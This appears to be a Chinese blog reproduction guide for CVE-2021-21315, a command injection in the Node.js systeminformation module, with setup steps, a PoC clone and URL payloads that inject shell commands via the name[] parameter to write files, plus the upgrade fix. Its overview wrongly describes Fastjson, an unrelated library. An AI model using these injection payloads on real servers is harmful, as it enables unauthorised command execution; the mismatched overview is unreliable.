CVE-2021-21315 Linux sudoNode.js命令注入

CVE-2021-21315 Linux sudoNode.js命令注入

漏洞简历

  • 漏洞简介
    • 漏洞原理
    • 漏洞信息
    • 环境搭建
  • 漏洞复现
  • 漏洞修复

漏洞简介

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息。Node使用Module模块划分不同的功能,每一个模块都包含非常丰富的函数,如http就包含了和http相关的很多函数,帮助开发者对http、tcp/udp等进行操作或创建相关服务器。

漏洞原理

Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。

漏洞信息

漏洞名称 Linux sudoNode.js命令注入漏洞
漏洞编号 CVE-2021-21315
危害等级 严重
CVSS评分 7.8
漏洞类型 Node.js-systeminformation
漏洞厂商 node
漏洞组件 Node.js-systeminformation
受影响版本 Systeminformation < 5.3.1
漏洞概述 Fastjson是一个阿里巴巴Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化

环境搭建

• Linux操作系统(Ubuntu)
• nodejs(linux)

1.Nodejs安装

wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz

CVE-2021-21315 Linux sudoNode.js命令注入_第1张图片
2.更换文件名字为nodejs,并将该文件移至 /usr/local/sbin/目录下

mv node-v12.18.4-linux-x64 nodejs
mv nodejs/ /usr/local/sbin/

3.更换文件node和npm的软连接

ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/

4.运行node.js看是否配置成功
CVE-2021-21315 Linux sudoNode.js命令注入_第2张图片

漏洞复现

1.POC下载

git clone git://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

CVE-2021-21315 Linux sudoNode.js命令注入_第3张图片

2.nodejs起http
CVE-2021-21315 Linux sudoNode.js命令注入_第4张图片
3.执行poc

http://192.168.32.161:8000/api/getServices?name[]=$(echo -e ‘NULL’ > 1.txt)
http://ip:8000/api/getServices?name[]=$(echo -e 'zeeker' > test.txt)

CVE-2021-21315 Linux sudoNode.js命令注入_第5张图片
CVE-2021-21315 Linux sudoNode.js命令注入_第6张图片
4.查看
CVE-2021-21315 Linux sudoNode.js命令注入_第7张图片

5.发现存在text.txt和1.txt文件
CVE-2021-21315 Linux sudoNode.js命令注入_第8张图片

漏洞修复

将 systeminformation 及时升级到 5.3.1 或更高版本

你可能感兴趣的:(linux,node.js,web安全)